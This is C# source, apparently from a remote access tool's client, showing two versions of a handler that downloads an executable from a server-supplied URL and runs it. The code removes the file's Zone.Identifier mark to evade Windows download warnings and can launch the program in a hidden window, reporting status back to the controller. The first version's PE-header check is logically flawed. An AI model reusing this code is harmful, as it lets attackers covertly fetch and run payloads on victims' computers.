public static void HandleDoDownloadAndExecute(Packets.ServerPackets.DoDownloadAndExecute command,
Client client)
{
new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client);
new Thread(() =>
{
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
Helper.Helper.GetRandomFilename(12, ".exe"));
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.URL, tempFile);
}
}
catch
{
new Packets.ClientPackets.SetStatus("Download failed!").Execute(client);
return;
}
new Packets.ClientPackets.SetStatus("Downloaded File!").Execute(client);
try
{
DeleteFile(tempFile + ":Zone.Identifier");
var bytes = File.ReadAllBytes(tempFile);
if (bytes[0] != 'M' && bytes[1] != 'Z')
{
throw new Exception("no pe file");
}
ProcessStartInfo startInfo = new ProcessStartInfo();
if (command.RunHidden)
{
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
}
startInfo.UseShellExecute = command.RunHidden;
startInfo.FileName = tempFile;
Process.Start(startInfo);
}
catch
{
DeleteFile(tempFile);
new Packets.ClientPackets.SetStatus("Execution failed!").Execute(client);
return;
}
new Packets.ClientPackets.SetStatus("Executed File!").Execute(client);
}).Start();
}
public static void HandleDoDownloadAndExecute(Packets.ServerPackets.DoDownloadAndExecute command,
Client client)
{
new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client);
new Thread(() =>
{
string tempFile = FileHelper.GetTempFilePath(".exe");
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.URL, tempFile);
}
}
catch
{
new Packets.ClientPackets.SetStatus("Download failed!").Execute(client);
return;
}
new Packets.ClientPackets.SetStatus("Downloaded File!").Execute(client);
try
{
FileHelper.DeleteZoneIdentifier(tempFile);
var bytes = File.ReadAllBytes(tempFile);
if (!FileHelper.IsValidExecuteableFile(bytes))
{
throw new Exception("no pe file");
}
ProcessStartInfo startInfo = new ProcessStartInfo();
if (command.RunHidden)
{
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
}
startInfo.UseShellExecute = false;
startInfo.FileName = tempFile;
Process.Start(startInfo);
}
catch
{
NativeMethods.DeleteFile(tempFile);
new Packets.ClientPackets.SetStatus("Execution failed!").Execute(client);
return;
}
new Packets.ClientPackets.SetStatus("Executed File!").Execute(client);
}).Start();
}
